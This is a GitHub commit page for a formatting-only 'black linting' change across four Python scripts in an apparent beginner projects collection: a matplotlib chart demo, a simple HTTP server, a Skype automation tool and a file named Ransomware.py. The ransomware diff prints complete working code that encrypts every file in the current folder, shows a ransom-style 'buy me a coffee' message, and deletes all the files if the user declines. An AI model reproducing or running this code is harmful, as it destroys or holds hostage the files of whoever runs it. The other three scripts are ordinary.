Skip to content

Commit fdc7b32

Browse files
committed
Some more black linting
1 parent bec8619 commit fdc7b32

4 files changed

Lines changed: 107 additions & 85 deletions

File tree

β€ŽData Visualization Script/Script.pyβ€Ž

Lines changed: 14 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -5,28 +5,29 @@
55
y = [10, 12, 8, 15, 7]
66

77
# Line chart
8-
plt.plot(x, y, marker='o')
9-
plt.xlabel('X-axis Label')
10-
plt.ylabel('Y-axis Label')
11-
plt.title('Sample Line Chart')
8+
plt.plot(x, y, marker="o")
9+
plt.xlabel("X-axis Label")
10+
plt.ylabel("Y-axis Label")
11+
plt.title("Sample Line Chart")
1212
plt.grid(True)
1313
plt.show()
1414

1515
# Bar chart
16-
categories = ['A', 'B', 'C', 'D', 'E']
16+
categories = ["A", "B", "C", "D", "E"]
1717
values = [25, 18, 30, 15, 22]
18-
plt.bar(categories, values, color='skyblue')
19-
plt.xlabel('Categories')
20-
plt.ylabel('Values')
21-
plt.title('Sample Bar Chart')
18+
plt.bar(categories, values, color="skyblue")
19+
plt.xlabel("Categories")
20+
plt.ylabel("Values")
21+
plt.title("Sample Bar Chart")
2222
plt.show()
2323

2424
# Scatter plot
2525
import random
26+
2627
x = [random.randint(0, 100) for _ in range(50)]
2728
y = [random.randint(0, 100) for _ in range(50)]
28-
plt.scatter(x, y, color='green', marker='x')
29-
plt.xlabel('X-axis Label')
30-
plt.ylabel('Y-axis Label')
31-
plt.title('Sample Scatter Plot')
29+
plt.scatter(x, y, color="green", marker="x")
30+
plt.xlabel("X-axis Label")
31+
plt.ylabel("Y-axis Label")
32+
plt.title("Sample Scatter Plot")
3233
plt.show()

β€ŽHTTP_Server/HTTP_Server.pyβ€Ž

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -24,6 +24,6 @@
2424
port = 4444
2525

2626
server = http.server.SimpleHTTPRequestHandler
27-
request = socketserver.TCPServer(("",port),server)
28-
print("server is up ....",port)
27+
request = socketserver.TCPServer(("", port), server)
28+
print("server is up ....", port)
2929
request.serve_forever()

β€ŽRansomware/Ransomware.pyβ€Ž

Lines changed: 62 additions & 54 deletions
Original file line numberDiff line numberDiff line change
@@ -6,74 +6,82 @@
66
criticFiles = ["Ransomware.py", "key.txt"]
77
fileList = []
88

9+
910
def dirFiles():
10-
global fileList
11-
for file in os.listdir():
12-
if file in criticFiles:
13-
continue
14-
if os.path.isfile(file):
15-
fileList.append(file)
11+
global fileList
12+
for file in os.listdir():
13+
if file in criticFiles:
14+
continue
15+
if os.path.isfile(file):
16+
fileList.append(file)
17+
1618

17-
#Encryptor
19+
# Encryptor
1820
def encrypt():
19-
key = Fernet.generate_key()
21+
key = Fernet.generate_key()
2022

21-
with open("key.txt", "wb") as file:
22-
file.write(key)
23+
with open("key.txt", "wb") as file:
24+
file.write(key)
2325

24-
for file in fileList:
25-
with open(file, "rb") as currfile:
26-
content = currfile.read()
27-
encrpytedContent = Fernet(key).encrypt(content)
28-
with open(file, "wb") as samefile:
29-
samefile.write(encrpytedContent)
26+
for file in fileList:
27+
with open(file, "rb") as currfile:
28+
content = currfile.read()
29+
encrpytedContent = Fernet(key).encrypt(content)
30+
with open(file, "wb") as samefile:
31+
samefile.write(encrpytedContent)
3032

31-
#Decryptor
33+
34+
# Decryptor
3235
def decrypt():
33-
with open("key.txt", "rb") as key:
34-
secret = key.read()
36+
with open("key.txt", "rb") as key:
37+
secret = key.read()
38+
39+
for file in fileList:
40+
with open(file, "rb") as currfile:
41+
contents = currfile.read()
42+
decryptedContent = Fernet(secret).decrypt(contents)
43+
with open(file, "wb") as samefile:
44+
samefile.write(decryptedContent)
3545

36-
for file in fileList:
37-
with open(file, "rb") as currfile:
38-
contents = currfile.read()
39-
decryptedContent = Fernet(secret).decrypt(contents)
40-
with open(file, "wb") as samefile:
41-
samefile.write(decryptedContent)
4246

43-
#main
47+
# main
4448
if __name__ == "__main__":
45-
dirFiles()
46-
encrypt()
49+
dirFiles()
50+
encrypt()
4751

48-
logo = """ ___ ___ ____ __ __ _____ _
52+
logo = """ ___ ___ ____ __ __ _____ _
4953
| | | | | | | | | |
5054
| ____ | || | | \\ | | |_____ | |
5155
| | | || | | |\\ | | | | |
5256
|_______| |____| |__| \\|__| |_____ 0
5357
"""
5458

55-
print("\033[1;31m " + logo + "\n")
56-
print("\033[1;35mHola, If you are seeing this, that means all your files in this folder are encrypted \U0001F92B")
57-
print("The encrypted files are")
58-
for file in fileList:
59-
print(file)
60-
print("If you wanna decrypt the files, buy me a coffee \U0001f61D")
61-
nextIter = True
62-
while(nextIter):
63-
willing = input("Willing to buy me a coffee (y/n): ")
64-
if willing.lower() == "y" or willing.lower() == "yes":
65-
decrypt()
66-
print("\033[1;32mSuccess!")
67-
print("All your files are decryped!!!")
68-
print("Bye!")
69-
nextIter = False
70-
elif willing.lower() == "n" or willing.lower() == "no":
71-
print("\033[1;31mThis is too bad...You can't buy me a cup of coffee...I am hurt...")
72-
print("Deleting your files...")
73-
for file in fileList:
74-
os.remove(file)
75-
print("All your files are gone. Bye!")
76-
nextIter = False
77-
else:
78-
print("Something wrong you chose")
79-
print("Try again")
59+
print("\033[1;31m " + logo + "\n")
60+
print(
61+
"\033[1;35mHola, If you are seeing this, that means all your files in this folder are encrypted \U0001F92B"
62+
)
63+
print("The encrypted files are")
64+
for file in fileList:
65+
print(file)
66+
print("If you wanna decrypt the files, buy me a coffee \U0001f61D")
67+
nextIter = True
68+
while nextIter:
69+
willing = input("Willing to buy me a coffee (y/n): ")
70+
if willing.lower() == "y" or willing.lower() == "yes":
71+
decrypt()
72+
print("\033[1;32mSuccess!")
73+
print("All your files are decryped!!!")
74+
print("Bye!")
75+
nextIter = False
76+
elif willing.lower() == "n" or willing.lower() == "no":
77+
print(
78+
"\033[1;31mThis is too bad...You can't buy me a cup of coffee...I am hurt..."
79+
)
80+
print("Deleting your files...")
81+
for file in fileList:
82+
os.remove(file)
83+
print("All your files are gone. Bye!")
84+
nextIter = False
85+
else:
86+
print("Something wrong you chose")
87+
print("Try again")

β€ŽSkype-Automation/skype.pyβ€Ž

Lines changed: 29 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -2,13 +2,13 @@
22
################################################ Developed By Avdhesh Varshney ##############################################
33
############################################ (https://github.com/Avdhesh-Varshney) ##########################################
44

5-
'''Install Python Packages as listed below using these commands in the terminal
5+
"""Install Python Packages as listed below using these commands in the terminal
66
77
Sr. No. Package Name Commands
88
1. os pip install os
99
2. skpy pip install SkPy
1010
11-
After install all these packages then import all of them in this file.'''
11+
After install all these packages then import all of them in this file."""
1212

1313
# Importing libraries
1414
import os
@@ -30,14 +30,16 @@
3030
print("\nEither internet is not working or credentials are wrong !\n")
3131
exit(0)
3232

33+
3334
# Fetching all chats of skype account
3435
def allChats():
3536
chats = slogin.chats
3637
j = 1
3738
for i in chats:
3839
print(f"\n\n############ Chat-{j} ############\n")
3940
print(i)
40-
j = j+1
41+
j = j + 1
42+
4143

4244
# Fetching all contacts of skype account
4345
def allContacts():
@@ -46,7 +48,8 @@ def allContacts():
4648
for i in contacts:
4749
print(f"\n\n############ Contact-{j} ############\n")
4850
print(i)
49-
j = j+1
51+
j = j + 1
52+
5053

5154
# Sending direct message to the any user
5255
def sendMessage():
@@ -57,6 +60,7 @@ def sendMessage():
5760

5861
print("\nMessage Delivered !\n")
5962

63+
6064
# Create group on skype
6165
def createGroup():
6266
arr = []
@@ -65,24 +69,26 @@ def createGroup():
6569
for i in range(n):
6670
id = input(f"\nEnter ID of user {j}: ")
6771
arr.append(id)
68-
j = j+1
72+
j = j + 1
6973

7074
# Create a group
7175
slogin.chats.create(arr)
7276

7377
print("\nGroup Created !\n")
7478

79+
7580
# Send a image to the user
7681
def sendImage():
7782
to = input("Enter ID of Skype user: ")
7883
ch = slogin.contacts[to]
7984
path = input("\nEnter path of Image file: ")
8085
fileName = input("\nEnter Filename: ")
81-
with open(path, 'rb') as f:
86+
with open(path, "rb") as f:
8287
ch.chat.sendFile(f, fileName, image=True)
83-
88+
8489
print("\nImage Shared !\n")
8590

91+
8692
# Share any contact with the other user
8793
def shareContact():
8894
to = input("Enter ID of Skype user: ")
@@ -94,34 +100,40 @@ def shareContact():
94100

95101
print("\nContact Shared !\n")
96102

103+
97104
# Main function
98105
def main():
99-
100106
while True:
101107
# Get user's choice
102-
os.system('cls')
103-
print('''\n*********************** Welcome to Skype Automation πŸ€– ***********************\n
108+
os.system("cls")
109+
print(
110+
"""\n*********************** Welcome to Skype Automation πŸ€– ***********************\n
104111
\t\tEnter 1️⃣ to show user profile
105112
\t\tEnter 2️⃣ to enlist all the Contacts
106113
\t\tEnter 3️⃣ to enlist all the Chats
107114
\t\tEnter 4️⃣ to create a group
108115
\t\tEnter 5️⃣ to send a direct message to a user
109116
\t\tEnter 6️⃣ to send a image
110117
\t\tEnter 7️⃣ to share contact of any people
111-
\t\tEnter 0️⃣ to exit the program\n''')
118+
\t\tEnter 0️⃣ to exit the program\n"""
119+
)
112120

113121
try:
114122
value = int(input("Enter your choice: "))
115123
except ValueError:
116124
print("\nInvalid input! \n\nPlease enter a number from the options.")
117125
continue
118126

119-
os.system('cls')
120-
print("\n*********************** Welcome to Skype Automation πŸ€– ***********************\n")
127+
os.system("cls")
128+
print(
129+
"\n*********************** Welcome to Skype Automation πŸ€– ***********************\n"
130+
)
121131

122132
if value == 0:
123-
os.system('cls')
124-
print("\n******************* Thanks for using Skype Automation πŸ€– Program πŸ‘‹ *******************\n\n")
133+
os.system("cls")
134+
print(
135+
"\n******************* Thanks for using Skype Automation πŸ€– Program πŸ‘‹ *******************\n\n"
136+
)
125137
exit(0)
126138

127139
elif value == 1:
@@ -154,9 +166,10 @@ def main():
154166

155167
else:
156168
print("\nInvalid choice. Please enter a valid number from the options.\n")
157-
169+
158170
input("\n\nPress 'Enter Key' to continue !\n\n")
159171

172+
160173
# Driver function
161174
if __name__ == "__main__":
162175
main()

0 commit comments

Comments
Β (0)